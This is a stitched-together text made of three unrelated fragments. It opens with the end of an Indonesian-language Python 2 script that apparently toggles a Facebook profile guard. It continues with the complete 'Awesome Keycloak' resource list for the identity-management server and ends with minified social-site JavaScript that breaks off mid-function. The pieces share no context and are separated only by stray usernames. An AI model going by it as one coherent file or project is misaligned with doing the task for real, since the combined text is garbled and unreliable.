'"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()
BabyJ723
# Awesome Keycloak [](https://github.com/sindresorhus/awesome) # [<img src="https://www.keycloak.org/resources/images/keycloak_logo_480x108.png">](https://github.com/thomasdarimont/awesome-keycloak) > Carefully curated list of awesome Keycloak resources. A curated list of resources for learning about the Open Source Identity and Access Management solution Keycloak. Contains books, websites, blog posts, links to github Repositories. # Contributing Contributions welcome. Add links through pull requests or create an issue to start a discussion. [Please refer to the contributing guide for details](CONTRIBUTING.md). # Contents * [General](#general) * [Documentation](#docs) * [Keycloak Website](http://www.keycloak.org) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Mailing Lists](#mailing-lists) * [User Mailing List](#user-mailing-list) * [Developer Mailing List](#dev-mailing-list) * [Mailing List Search](#mailing-list-search) * [Books](#books) * [Articles](#articles) * [Talks](#talks) * [Presentations](#presentations) * [Video Playlists](#video-playlists) * [Community Extensions](#community-extensions) * [Integrations](#integrations) * [Themes](#themes) * [Docker](#docker) * [Deployment Examples](#deployment-examples) * [Example Projects](#example-projects) * [Benchmarks](#benchmarks) * [Help](#help) * [Commercial Offerings](#commercial-offerings) * [Miscellaneous](#miscellaneous) # General ## Documentation * [Keycloak Website](http://www.keycloak.org/) * [Current Documentation](http://www.keycloak.org/documentation.html) * [Archived Documentation](http://www.keycloak.org/documentation-archive.html) * [Product Documentation for Red Hat Single Sign-On](https://access.redhat.com/documentation/en/red-hat-single-sign-on/) ## Discussion Groups and Mailing Lists * [Keycloak Users Google Group](https://groups.google.com/forum/#!forum/keycloak-user) * [Keycloak Developers Google Group](https://groups.google.com/forum/#!forum/keycloak-dev) * [Keycloak Discourse Group](https://keycloak.discourse.group/) * [Keycloak Developer Chat](https://keycloak.zulipchat.com) * [Inactive - User Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-user) * [Inactive - Developer Mailing List](https://lists.jboss.org/mailman/listinfo/keycloak-dev) * [Mailing List Search](http://www.keycloak.org/search) * [Keycloak Subreddit](https://www.reddit.com/r/keycloak) ## Books * [Keycloak - Identity and Access Management for Modern Applications](https://www.packtpub.com/product/keycloak-identity-and-access-management-for-modern-applications/9781800562493) ## Articles * [How to get Keycloak working with Docker](https://www.ivonet.nl/2015/05/23/Keycloak-Docker/) * [Single-Sign-On for Microservices and/or Java EE applications with Keycloak SSO](http://www.n-k.de/2016/06/keycloak-sso-for-microservices.html) * [Keycloak Admin Client(s) - multiple ways to manage your SSO system](http://www.n-k.de/2016/08/keycloak-admin-client.html) * [How to get the AccessToken of Keycloak in Spring Boot and/or Java EE](http://www.n-k.de/2016/05/how-to-get-accesstoken-from-keycloak-springboot-javaee.html) * [JWT authentication with Vert.x, Keycloak and Angular 2](http://paulbakker.io/java/jwt-keycloak-angular2/) * [Authenticating via Kerberos with Keycloak and Windows 2008 Active Directory](http://matthewcasperson.blogspot.de/2015/07/authenticating-via-kerberos-with.html) * [Deploying Keycloak with Ansible](https://adam.younglogic.com/2016/01/deploying-keycloak-via-ansible/) * [Easily secure your Spring Boot applications with Keycloak](https://developers.redhat.com/blog/2017/05/25/easily-secure-your-spring-boot-applications-with-keycloak/) * [How Red Hat re-designed its Single Sign On (SSO) architecture, and why](https://developers.redhat.com/blog/2016/10/04/how-red-hat-re-designed-its-single-sign-on-sso-architecture-and-why/) * [OAuth2, JWT, Open-ID Connect and other confusing things](http://giallone.blogspot.de/2017/06/oath2.html) * [X509 Authentication with Keycloak and JBoss Fuse](https://sjhiggs.github.io/fuse/sso/x509/smartcard/2017/03/29/fuse-hawtio-keycloak.html) * [Running Keycloak on OpenShift 3](https://medium.com/@sbose78/running-keycloak-on-openshift-3-8d195c0daaf6) * [Introducing Keycloak for Identity and Access Management](https://www.thomasvitale.com/introducing-keycloak-identity-access-management/) * [Keycloak Basic Configuration for Authentication and Authorisation](https://www.thomasvitale.com/keycloak-configuration-authentication-authorisation/) * [Keycloak on OpenShift Origin](https://medium.com/@james_devcomb/keycloak-on-openshift-origin-ee81d01dac97) * [Identity Management, One-Time-Passwords and Two-Factor-Auth with Spring Boot and Keycloak](http://www.hascode.com/2017/11/identity-management-one-time-passwords-and-two-factor-auth-with-spring-boot-and-keycloak/) * [Keycloak Identity Brokering with Openshift](https://developers.redhat.com/blog/2017/12/06/keycloak-identity-brokering-openshift/) * [OpenID Connect Identity Brokering with Red Hat Single Sign-On](https://developers.redhat.com/blog/2017/10/18/openid-connect-identity-brokering-red-hat-single-sign/) * [Authentication & user management is hard](https://eclipsesource.com/blogs/2018/01/11/authenticating-reverse-proxy-with-keycloak/) * [Securing Nginx with Keycloak](https://edhull.co.uk/blog/2018-06-06/keycloak-nginx) * [Secure kibana dashboards using keycloak](https://aboullaite.me/secure-kibana-keycloak/) * [Configuring NGINX for OAuth/OpenID Connect SSO with Keycloak/Red Hat SSO](https://developers.redhat.com/blog/2018/10/08/configuring-nginx-keycloak-oauth-oidc/) * [Keycloak Clustering Setup and Configuration Examples](https://github.com/fit2anything/keycloak-cluster-setup-and-configuration) * [MicroProfile JWT with Keycloak](https://kodnito.com/posts/microprofile-jwt-with-keycloak/) * [Keycloak Essentials](https://medium.com/keycloak/keycloak-essentials-86254b2f1872) * [SSO-session failover with Keycloak and AWS S3](https://medium.com/@georgijsr/sso-session-failover-with-keycloak-and-aws-s3-e0b1db985e12) * [KTOR and Keycloak: authentication with OpenId](https://medium.com/slickteam/ktor-and-keycloak-authentication-with-openid-ecd415d7a62e) * [Keycloak: Core concepts of open source identity and access management](https://developers.redhat.com/blog/2019/12/11/keycloak-core-concepts-of-open-source-identity-and-access-management) * [Who am I? Keycloak Impersonation API](https://blog.softwaremill.com/who-am-i-keycloak-impersonation-api-bfe7acaf051a) * [Setup Keycloak Server on Ubuntu 18.04](https://medium.com/@hasnat.saeed/setup-keycloak-server-on-ubuntu-18-04-ed8c7c79a2d9) * [Getting started with Keycloak](https://robferguson.org/blog/2019/12/24/getting-started-with-keycloak/) * [Angular, OpenID Connect and Keycloak](https://robferguson.org/blog/2019/12/29/angular-openid-connect-keycloak/) * [Angular, OAuth 2.0 Scopes and Keycloak](https://robferguson.org/blog/2019/12/31/angular-oauth2-keycloak/) * [Keycloak, Flowable and OpenLDAP](https://robferguson.org/blog/2020/01/03/keycloak-flowable-and-openldap/) * [How to exchange token from an external provider to a keycloak token](https://www.mathieupassenaud.fr/token-exchange-keycloak/) * [Building an Event Listener SPI (Plugin) for Keycloak](https://dev.to/adwaitthattey/building-an-event-listener-spi-plugin-for-keycloak-2044) * [Keycloak user migration – connect your legacy authentication system to Keycloak](https://codesoapbox.dev/keycloak-user-migration/) * [Keycloak Authentication and Authorization in GraphQL](https://medium.com/@darahayes/keycloak-authentication-and-authorization-in-graphql-ad0a1685f7da) * [Kong / Konga / Keycloak: securing API through OIDC](https://github.com/d4rkstar/kong-konga-keycloak) * [KeyCloak: Custom Login theme](https://codehumsafar.wordpress.com/2018/09/11/keycloak-custom-login-theme/) * [Keycloak: Use background color instead of background image in Custom Login theme](https://codehumsafar.wordpress.com/2018/09/21/keycloak-use-background-color-instead-of-background-image-in-custom-login-theme/) * [How to turn off the Keycloak theme cache](https://keycloakthemes.com/blog/how-to-turn-off-the-keycloak-theme-cache) * [How to add a custom field to the Keycloak registration page](https://keycloakthemes.com/blog/how-to-add-custom-field-keycloak-registration-page) * [How to setup Sign in with Google using Keycloak](https://keycloakthemes.com/blog/how-to-setup-sign-in-with-google-using-keycloak) * [How to sign in users on Keycloak using Github](https://keycloakthemes.com/blog/how-to-sign-in-users-on-keycloak-using-github) * [Extending Keycloak SSO Capabilities with IBM Security Verify](https://community.ibm.com/community/user/security/blogs/jason-choi1/2020/06/10/extending-keycloak-sso-capabilities-with-ibm-secur) * [AWS SAML based User Federation using Keycloak](https://medium.com/@karanbir.tech/aws-connect-saml-based-identity-provider-using-keycloak-9b3e6d0111e6) * [AWS user account OpenID federation using Keycloak](https://medium.com/@karanbir.tech/aws-account-openid-federation-using-keycloak-40d22b952a43) * [How to Run Keycloak in HA on Kubernetes](https://blog.sighup.io/keycloak-ha-on-kubernetes/) * [How to create a Keycloak authenticator as a microservice?](https://medium.com/application-security/how-to-create-a-keycloak-authenticator-as-a-microservice-ad332e287b58) * [keycloak.ch | Installing & Running Keycloak](https://keycloak.ch/keycloak-tutorials/tutorial-1-installing-and-running-keycloak/) * [keycloak.ch | Configuring Token Exchange using the CLI](https://keycloak.ch/keycloak-tutorials/tutorial-token-exchange/) * [keycloak.ch | Configuring WebAuthn](https://keycloak.ch/keycloak-tutorials/tutorial-webauthn/) * [keycloak.ch | Configuring a SwissID integration](https://keycloak.ch/keycloak-tutorials/tutorial-swissid/) * [Getting Started with Service Accounts in Keycloak](https://medium.com/@mihirrajdixit/getting-started-with-service-accounts-in-keycloak-c8f6798a0675) * [Building cloud native apps: Identity and Access Management](https://dev.to/lukaszbudnik/building-cloud-native-apps-identity-and-access-management-1e5m) * [X.509 user certificate authentication with Red Hat’s single sign-on technology](https://developers.redhat.com/blog/2021/02/19/x-509-user-certificate-authentication-with-red-hats-single-sign-on-technology) * [Grafana OAuth with Keycloak and how to validate a JWT token](https://janikvonrotz.ch/2020/08/27/grafana-oauth-with-keycloak-and-how-to-validate-a-jwt-token/) * [How to setup a Keycloak server with external MySQL database on AWS ECS Fargate in clustered mode](https://jbjerksetmyr.medium.com/how-to-setup-a-keycloak-server-with-external-mysql-database-on-aws-ecs-fargate-in-clustered-mode-9775d01cd317) * [Extending Keycloak: adding API key authentication](http://www.zakariaamine.com/2019-06-14/extending-keycloak) * [Extending Keycloak: using a custom email sender](http://www.zakariaamine.com/2019-07-14/extending-keycloak2) * [Integrating Keycloak and OPA with Confluent](https://goraft.tech/2021/03/17/integrating-keycloak-and-opa-with-confluent.html) * [UMA 2.0 : User Managed Access - how to use it with bash](https://blog.please-open.it/uma/) ## Talks * [JDD2015 - Keycloak Open Source Identity and Access Management Solution](https://www.youtube.com/watch?v=TuEkj25lbd0) * [2015 Using Tomcat and Keycloak in an iFrame](https://www.youtube.com/watch?v=nF_lw7uIxao) * [2016 You've Got Microservices Now Secure Them](https://www.youtube.com/watch?v=SfVhqf-rMQY) * [2016 Keycloak: Open Source Single Sign On - Sebastian Rose - AOE conf (german)](https://www.youtube.com/watch?v=wbKw0Bwyne4) * [2016 Sécuriser ses applications back et front facilement avec Keycloak (french)](https://www.youtube.com/watch?v=bVidgluUcg0) * [2016 Keycloak and Red Hat Mobile Application Platform](https://www.youtube.com/watch?v=4NBgiHM5aOA) * [2016 Easily secure your Front and back applications with KeyCloak](https://www.youtube.com/watch?v=RGp4HUKikts) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 1](https://developers.redhat.com/video/youtube/vpgRTPFDHAw/) * [2017 Easily secure your Spring Boot applications with Keycloak - Part 2](https://developers.redhat.com/video/youtube/O5ePCWON08Y/) * [2018 How to secure your Spring Apps with Keycloak by Thomas Darimont @ Spring I/O 2018](https://www.youtube.com/watch?v=haHFoeWUj0w) * [2018 DevNation Live | A Deep Dive into Keycloak](https://www.youtube.com/watch?v=ZxpY_zZ52kU) * [2018 IDM Europe: WSO2 Identity Server vs. Keycloak (Dmitry Kann)](https://www.youtube.com/watch?v=hnjBiGsEDoU) * [2018 JPrime|Building an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=bMqcGkCvUVQ) * [2018 WJAX| Sichere Spring-Anwendungen mit Keycloak](https://www.youtube.com/watch?v=6Z490EMcafs) * [2019 Spring I/O | Secure your Spring Apps with Keycloak](https://www.youtube.com/watch?v=KrOd5wIkqls) * [2019 DevoxxFR | Maitriser sa gestion de l'identité avec Keycloak (L. Benoit, T. Recloux, S. Blanc)](https://www.youtube.com/watch?v=0cziL__0-K8) * [2019 DevConf | Fine - Grained Authorization with Keycloak SSO (Marek Posolda)](https://www.youtube.com/watch?v=yosg4St0iUw) * [2019 VoxxedDays Minsk | Bilding an effective identity and access management architecture with Keycloak (Sebastien Blanc)](https://www.youtube.com/watch?v=RupQWmYhrLA) * [2019 Single-Sign-On Authentifizierung mit dem Keycloak Identity Provider | jambit CoffeeTalk](https://www.youtube.com/watch?v=dnY6ORaFNY8) * [2020 Keycloak Team | Keycloak Pitch](https://www.youtube.com/watch?v=GZTN_VXjoQw) * [2020 Keycloak Team | Keycloak Overview](https://www.youtube.com/watch?v=duawSV69LDI) * [2020 Please-open.it : oauth2 dans le monde des ops (french)](https://www.youtube.com/watch?v=S-9X50QajmY) ## Presentations * [Keycloak 101](https://stevenolen.github.io/kc101-talk/#1) ## Video Playlists * [Keycloak Identity and Access Management by Łukasz Budnik](https://www.youtube.com/playlist?list=PLPZal7ksxNs0mgScrJxrggEayV-TPZ9sA) * [Keycloak by Niko Köbler](https://www.youtube.com/playlist?list=PLNn3plN7ZiaowUvKzKiJjYfWpp86u98iY) * [Keycloak Playlist by hexaDefence](https://youtu.be/35bflT_zxXA) * [Keycloak Tutorial Series by CodeLens](https://www.youtube.com/watch?v=Lr9WeIMtFow&list=PLeGNmkzI56BTjRxNGxUhh4k30FD_gy0pC) ## Clients * [Official Keycloak Node.js Admin Client](https://github.com/keycloak/keycloak-admin-client/) ("Extremely Experimental") * [Keycloak Node.js TypeScript Admin Client by Canner](https://github.com/Canner/keycloak-admin/) * [Keycloak Go Client by Cloudtrust](https://github.com/cloudtrust/keycloak-client) * [Keycloak Nest.js Admin Client by Relevant Fruit](https://github.com/relevantfruit/nestjs-keycloak-admin) ## Community Extensions * [Keycloak Extensions List](https://www.keycloak.org/extensions.html) * [Keycloak Benchmark Project](https://github.com/keycloak/keycloak-benchmark) * [Keycloak: Link IdP Login with User Provider](https://github.com/ohioit/keycloak-link-idp-with-user) * [Client Owner Manager: Control who can edit a client](https://github.com/cyclone-project/cyclone-client-registration) * [Keyloak Proxy written in Go](https://github.com/gambol99/keycloak-proxy) * [Script based ProtocolMapper extension for SAML](https://github.com/cloudtrust/keycloak-client-mappers) * [Realm export REST resource by Cloudtrust](https://github.com/cloudtrust/keycloak-export) * [Keycloak JDBC Ping Setup by moremagic](https://github.com/moremagic/keycloak-jdbc-ping) * [SMS 2 Factor Authentication for Keycloak via AWS SNS](https://github.com/nickpack/keycloak-sms-authenticator-sns) * [SMS 2 Factor Authentiation for Keycloak via SMS by Alliander](https://github.com/Alliander/keycloak-sms-authenticator) * [Identity Provider for vk.com](https://github.com/mrk08/keycloak-vk) * [CAS Protocol Support](https://github.com/Doccrazy/keycloak-protocol-cas) * [WS-FED Support](https://github.com/cloudtrust/keycloak-wsfed) * [Keycloak Discord Support](https://github.com/wadahiro/keycloak-discord) * [Keycloak Login with User Attribute](https://github.com/cnieg/keycloak-login-attribute) * [zonaut/keycloak-extensions](https://github.com/zonaut/keycloak-extensions) * [leroyguillaume/keycloak-bcrypt](https://github.com/leroyguillaume/keycloak-bcrypt) * [SPI Authenticator in Nodejs](https://www.npmjs.com/package/keycloak-rest-authenticator) * [Have I Been Pwned? Keycloak Password Policy](https://github.com/alexashley/keycloak-password-policy-have-i-been-pwned) * [Keycloak Eventlistener for Google Cloud Pub Sub](https://github.com/acesso-io/keycloak-event-listener-gcpubsub) * [Enforcing Password policy based on attributes of User Groups](https://github.com/sayedcsekuet/keycloak-user-group-based-password-policy) * [Verify Email with Link or Code by hokumski](https://github.com/hokumski/keycloak-verifyemailwithcode) * [Role-based Docker registry authentication](https://github.com/lifs-tools/keycloak-docker-role-mapper) * [SCIM for keycloak](https://github.com/Captain-P-Goldfish/scim-for-keycloak) * [Keycloak Kafka Module](https://github.com/SnuK87/keycloak-kafka) ## Integrations * [Official Keycloak Node.js Connect Adapter](https://github.com/keycloak/keycloak-nodejs-connect) * [Keycloak support for Aurelia](https://github.com/waynepennington/aurelia-keycloak) * [Keycloak OAuth2 Auth for PHP](https://github.com/stevenmaguire/oauth2-keycloak) * [Jenkins Keycloak Authentication Plugin](https://github.com/jenkinsci/keycloak-plugin) * [Meteor Keycloak Accounts](https://github.com/mxab/meteor-keycloak) * [HapiJS Keycloak Auth](https://github.com/felixheck/hapi-auth-keycloak) * [zmartzone mod_auth_openidc for Apache 2.x](https://github.com/zmartzone/mod_auth_openidc) * [Duo Security MFA Authentication for Keycloak](https://github.com/mulesoft-labs/keycloak-duo-spi) * [Extension Keycloak facilitant l'utilisation de FranceConnect](https://github.com/InseeFr/Keycloak-FranceConnect) * [Ambassador Keycloak Support](https://www.getambassador.io/reference/idp-support/keycloak/) * [Keycloak Python Client](https://github.com/akhilputhiry/keycloak-client) * [Keycloak Terraform Provider](https://github.com/mrparkers/terraform-provider-keycloak) * [Keycloak ADFS OpenID Connect](https://www.michaelboeynaems.com/keycloak-ADFS-OIDC.html) * [React/NextJS Keycloak Bindings](https://github.com/panz3r/react-keycloak) * [Keycloak Open-Shift integration](https://github.com/keycloak/openshift-integration) * [Keycloak, Kong and Konga setup scripts (local development)](https://github.com/JaouherK/Kong-konga-Keycloak) * [SSO for Keycloak and Nextcloud with SAML](https://stackoverflow.com/questions/48400812/sso-with-saml-keycloak-and-nextcloud) * [Keycloak Connect GraphQL Adapter for Node.js](https://github.com/aerogear/keycloak-connect-graphql) * [python-keycloak](https://github.com/marcospereirampj/python-keycloak) * [Keycloak and PrivacyId3a docker-compose (local development)](https://github.com/JaouherK/keycloak-privacyIdea) * [Nerzal/gocloak Golang Keycloak API Package](https://github.com/Nerzal/gocloak) * [Apple Social Identity Provider for Keycloak](https://github.com/BenjaminFavre/keycloak-apple-social-identity-provider) ## Quick demo Videos * [Keycloak with istio envoy jwt-auth proxy](https://www.youtube.com/watch?v=wscX7JMfuBI) ## Themes * [Community Keycloak Ionic Theme](https://github.com/lfryc/keycloak-ionic-theme) * [A Keycloak theme based on the AdminLTE UI library](https://github.com/MAXIMUS-DeltaWare/adminlte-keycloak-theme) * [GOV.UK Theme](https://github.com/UKHomeOffice/keycloak-theme-govuk) * [Carbon Design](https://github.com/httpsOmkar/carbon-keycloak-theme) * [Modern](https://keycloakthemes.com/themes/modern) * [Adminlte](https://git.uptic.nl/uptic-public-projects/uptic-keyclock-theme-adminlte) * [keycloakify: Create Keycloak themes using React](https://github.com/InseeFrLab/keycloakify) ## Docker * [Official Keycloak Docker Images](https://github.com/jboss-dockerfiles/keycloak) * [Keycloak Examples as Docker Image](https://hub.docker.com/r/jboss/keycloak-examples) * [Keycloak Maven SDK for managing the entire lifecycle of your extensions with Docker](https://github.com/OpenPj/keycloak-docker-quickstart) ## Kubernetes * [Deprecated Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [codecentric Keycloak Helm Chart](https://github.com/codecentric/helm-charts/tree/master/charts/keycloak) * [Import / Export Keycloak Config](https://gist.github.com/unguiculus/19618ef57b1863145262191944565c9d) * [keycloak-operator](https://github.com/keycloak/keycloak-operator) ## Tools * [keycloakmigration: Manage your Keycloak configuration with code](https://github.com/klg71/keycloakmigration) * [tool to autogenerate an OpenAPI Specification for Keycloak's Admin API](https://github.com/ccouzens/keycloak-openapi) * [oidc-bash-client](https://github.com/please-openit/oidc-bash-client) * [louketo-proxy (FKA Gatekeeper)](https://github.com/louketo/louketo-proxy) * [keycloak-config-cli: Configuration as Code for Keycloak](https://github.com/adorsys/keycloak-config-cli) * [Keycloak Pulumi](https://github.com/pulumi/pulumi-keycloak) * [Keycloak on AWS](https://github.com/aws-samples/keycloak-on-aws) * [aws-cdk construct library that allows you to create KeyCloak on AWS in TypeScript or Python](https://github.com/aws-samples/cdk-keycloak) * [keycloak-scanner Python CLI](https://github.com/NeuronAddict/keycloak-scanner) ## Deployment Examples * [Keycloak deployment with CDK on AWS with Fargate](https://github.com/aws-samples/cdk-keycloak) ## Example Projects * [Examples from Keycloak Book: Keycloak - Identity and Access Management for Modern Applications](https://github.com/PacktPublishing/Keycloak-Identity-and-Access-Management-for-Modern-Applications) * [Official Examples](https://github.com/keycloak/keycloak/tree/master/examples) * [Keycloak Quickstarts](https://github.com/keycloak/keycloak-quickstarts) * [Drupal 7.0 with Keycloak](https://gist.github.com/thomasdarimont/17fa146c4fb5440d7fc2ee6322ec392d) * [Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [BeerCloak: a comprehensive KeyCloak extension example](https://github.com/dteleguin/beercloak) * [KeyCloak Extensions: Securing Realm Resources With Custom Roles](https://github.com/dteleguin/custom-admin-roles) * [Red Hat Single Sign-On Labs](https://github.com/RedHatWorkshops/red-hat-sso) * [Spring Boot Keycloak Tutorial](https://github.com/sebastienblanc/spring-boot-keycloak-tutorial) * [Custom Keycloak Docker Image of Computer Science House of RIT](https://github.com/ComputerScienceHouse/keycloak-docker) * [Example of custom password hash SPI for Keycloak](https://github.com/pavelbogomolenko/keycloak-custom-password-hash) * [Example for a custom http-client-provider with Proxy support](https://github.com/xiaoyvr/custom-http-client-provider) * [Monitor your keycloak with prometheus](https://github.com/larscheid-schmitzhermes/keycloak-monitoring-prometheus) * [Custom User Storage Provider .ear with jboss-cli setup](https://github.com/thomasdarimont/keycloak-user-storage-provider-demo) * [Keycloak - Experimental extensions by Stian Thorgersen/Keycloak](https://github.com/stianst/keycloak-experimental) * [Securing Spring Boot Admin & Actuator Endpoints with Keycloak](https://github.com/thomasdarimont/spring-boot-admin-keycloak-example) * [A Keycloak Mobile Implementation using Angular v4 and Ionic v3](https://github.com/tomjackman/keyonic-v2) * [Example for Securing Apps with Keycloak on Kubernetes](https://github.com/stianst/demo-kubernetes) * [Example for Securing AspDotNet Core Apps with Keycloak](https://github.com/thomasdarimont/kc-dnc-demo) * [Example for passing custom URL parameters to a Keycloak theme for dynamic branding](https://github.com/dteleguin/keycloak-dynamic-branding) * [Angular Webapp secured with Keycloak](https://github.com/CodepediaOrg/bookmarks.dev) * [Keycloak Theme Development Kit](https://github.com/anthonny/kit-keycloak-theme) * [Keycloak Clustering examples](https://github.com/ivangfr/keycloak-clustered) * [Keycloak Last Login Date Event Listener](https://github.com/ThoreKr/keycloak-last-login-event-listener) * [Keycloak Project Example (Customizations, Extensions, Configuration)](https://github.com/thomasdarimont/keycloak-project-example) * [Example of adding API Key authentication to Keycloak](https://github.com/zak905/keycloak-api-key-demo) ## Benchmarks * [Gatling based Benchmark by @rvansa](https://github.com/rvansa/keycloak-benchmark) ## Help * [Keycloak on Stackoverflow](https://stackoverflow.com/questions/tagged/keycloak) ## Commercial Offerings * [Red Hat Single Sign-On](https://access.redhat.com/products/red-hat-single-sign-on) * [INTEGSOFT UNIFIED USER CREDENTIALS WITH KEYCLOAK SSO](https://www.integsoft.cz/en/sso.html#what-is-sso) * [JIRA SSO Plugin by codecentric](https://marketplace.atlassian.com/plugins/de.codecentric.atlassian.oidc.jira-oidc-plugin/server/overview) * [Keycloak Competence Center by Inventage AG](https://keycloak.ch/) * [Keycloak as a Service](https://www.cloud-iam.com) ## Miscellaneous * [Find sites using Keycloak with google](https://www.google.de/search?q=inurl%3Aauth+inurl%3Arealms+inurl%3Aprotocol&oq=inurl%3A&client=ubuntu&sourceid=chrome&ie=UTF-8) * [Keycloak Dev Bookmarks](http://bookmarks.dev/search?q=keycloak) - Use the tag [keycloak](https://www.bookmarks.dev/tagged/keycloak) * [Use fail2ban to block brute-force attacks to keycloak server](https://gist.github.com/drmalex07/3eba8b98d0ac4a1e821e8e721b3e1816) * [Pentest-Report Keycloak 8.0 Audit & Pentest 11.2019 by Cure53](https://cure53.de/pentest-report_keycloak.pdf) * [Keycloak - CNCF Security SIG - Self Assesment](https://docs.google.com/document/d/14IIGliP3BWjdS-0wfOk3l_1AU8kyoSiLUzpPImsz4R0/edit#) # License [](https://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Thomas Darimont](https://github.com/thomasdarimont) has waived all copyright and related or neighboring rights to this work.
joenali
waterfall } $("body").addClass("noscroll"); c.show(); g = e.outerHeight(); e.css("margin-bottom", "-" + g / 2 + "px"); setTimeout(function() { c.addClass("visible"); c.css("-webkit-transform", "none") }, 1); this.trigger("show", b); return false }, close: function(b) { var c = $("#" + b); c.data("parent") && c.data("parent").append(c); $("#zoomScroll").length === 0 && $("body").removeClass("noscroll"); c.removeClass("visible"); setTimeout(function() { c.hide(); c.css("-webkit-transform", "translateZ(0)") }, 251); this.trigger("close", b); return false } }; _.extend(Modal, Backbone.Events); var Arrays = { conjunct: function(b) { if (b.length == 1) return b[0]; else { b = b.slice(0); last = b.pop(); b.push("and " + last); return b.join(", ") } } }; $(document).ready(function() { ScrollToTop.setup(); Modal.setup(); $(".tipsyHover").tipsy({ gravity: "n", delayIn: 0.1, delayOut: 0.1, opacity: 0.7, live: true, html: true }); $("#query").focus(function() { cache && $(this).catcomplete("search", $(this).val()) }); $.widget("custom.catcomplete", $.ui.autocomplete, { _renderMenu: function(c, e) { var g = this, f = ""; $.each(e, function(d, h) { if (h.category != f) { c.append("<li class='ui-autocomplete-category'>" + h.category + "</li>"); f = h.category } g._renderItem(c, h) }); e = { link: "/search/?q=" + this.term }; $("<li></li>").data("item.autocomplete", e).append("<a href='/search/?q=" + this.term + "' class='ui-corner-all' tabindex='-1' style='font-weight:bold; min-height:0 !important;'>Search for " + this.term + "</a>").appendTo(c) } }); var b = $("#query").catcomplete({ source: function(c, e) { Tagging.getFriends(c, function(g) { var f = g; if (myboards) { f = tagmate.filter_options(myboards, c.term); f = g.concat(f) } for (g = 0; g < f.length; g++) f[g].value = f[g].label; e(f) }) }, minLength: 1, delay: 0, appendTo: "#SearchAutocompleteHolder", select: function(c, e) { document.location.href = e.item.link } }); if (typeof b.data("catcomplete") != "undefined") b.data("catcomplete")._renderItem = function(c, e) { var g = "<a href='" + e.link + "'><img src='" + e.image + "' class='AutocompletePhoto' alt='Photo of " + e.label + "' width='38px' height='38px'/><span class='AutocompleteName'>" + e.label + "</span></a>"; return $("<li></li>").data("item.autocomplete", e).append(g).appendTo(c) }; $("#query").defaultValue($("#query").attr("placeholder"), "default_value"); $("#Search #query_button").click(function() { $("#Search form").submit(); return false }); $("body").on("click", "a[rel=nofollow]", function(c) { var e = $(this).attr("href"); if (e === "#") return c.isDefaultPrevented(); if (!e.match(/^(http|https):\/\//) || e.match(/(http:\/\/|https:\/\/|\.)pinterest\.com\//gi) || $(this).hasClass("safelink")) return true; c = (c = $(this).parents(".pin").attr("data-id") || $(this).parents(".pin").attr("pin-id") || $(this).attr("data-id")) ? "&pin=" + c: ""; var g = $(this).parents(".comment").attr("comment-id"); g = g ? "&comment_id=" + g: ""; var f = (new jsSHA(getCookie("csrftoken"), "ASCII")).getHash("HEX"); window.open("//" + window.location.host + "/offsite/?url=" + encodeURIComponent(e) + "&shatoken=" + f + c + g); return false }) }); Twitter = new(function() { var b = this; this.startTwitterConnect = function() { b._twitterWindow = window.open("/connect/twitter/", "Pinterest", "location=0,status=0,width=800,height=400"); b._twitterInterval = window.setInterval(b.completeTwitterConnect, 1E3) }; this.completeTwitterConnect = function() { if (b._twitterWindow.closed) { window.clearInterval(b._twitterInterval); window.location.reload() } } }); Facebook = new(function() { var b = this; this.startFacebookConnect = function(c, e, g, f) { g = g == undefined ? true: g; var d = "/connect/facebook/", h = "?"; if (c) { d += h + "scope=" + c; h = "&" } if (e) { d += h + "enable_timeline=1"; h = "&" } if (f) d += h + "ref_page=" + f; b._facebookWindow = window.open(d, "Pinterest", "location=0,status=0,width=800,height=400"); if (g) b._facebookInterval = window.setInterval(this.completeFacebookConnect, 1E3) }; this.completeFacebookConnect = function() { if (b._facebookWindow.closed) { window.clearInterval(b._facebookInterval); window.location.reload() } } }); Google = new(function() { var b = this; this.startGoogleConnect = function() { b._googleWindow = window.open("/connect/google/", "Google", "location=0,status=0,width=800,height=400"); b._googleInterval = window.setInterval(b.completeGoogleConnect, 1E3) }; this.completeGoogleConnect = function() { if (b._googleWindow.closed) { window.clearInterval(b._googleInterval); window.location.reload() } } }); Yahoo = new(function() { var b = this; this.startYahooConnect = function() { b._yahooWindow = window.open("/connect/yahoo/", "Yahoo", "location=0,status=0,width=800,height=400"); b._yahooInterval = window.setInterval(b.completeYahooConnect, 1E3) }; this.completeYahooConnect = function() { if (b._yahooWindow.closed) { window.clearInterval(b._yahooInterval); window.location.reload() } } }); (function(b) { function c(g) { return typeof g == "object" ? g: { top: g, left: g } } var e = b.scrollTo = function(g, f, d) { b(window).scrollTo(g, f, d) }; e.defaults = { axis: "xy", duration: parseFloat(b.fn.jquery) >= 1.3 ? 0 : 1 }; e.window = function() { return b(window)._scrollable() }; b.fn._scrollable = function() { return this.map(function() { var g = this; if (! (!g.nodeName || b.inArray(g.nodeName.toLowerCase(), ["iframe", "#document", "html", "body"]) != -1)) return g; g = (g.contentWindow || g).document || g.ownerDocument || g; return b.browser.safari || g.compatMode == "BackCompat" ? g.body: g.documentElement }) }; b.fn.scrollTo = function(g, f, d) { if (typeof f == "object") { d = f; f = 0 } if (typeof d == "function") d = { onAfter: d }; if (g == "max") g = 9E9; d = b.extend({}, e.defaults, d); f = f || d.speed || d.duration; d.queue = d.queue && d.axis.length > 1; if (d.queue) f /= 2; d.offset = c(d.offset); d.over = c(d.over); return this._scrollable().each(function() { function h(m) { k.animate(u, f, d.easing, m && function() { m.call(this, g, d) }) } var j = this, k = b(j), l = g, r, u = {}, o = k.is("html,body"); switch (typeof l) { case "number": case "string": if (/^([+-]=)?\d+(\.\d+)?(px|%)?$/.test(l)) { l = c(l); break 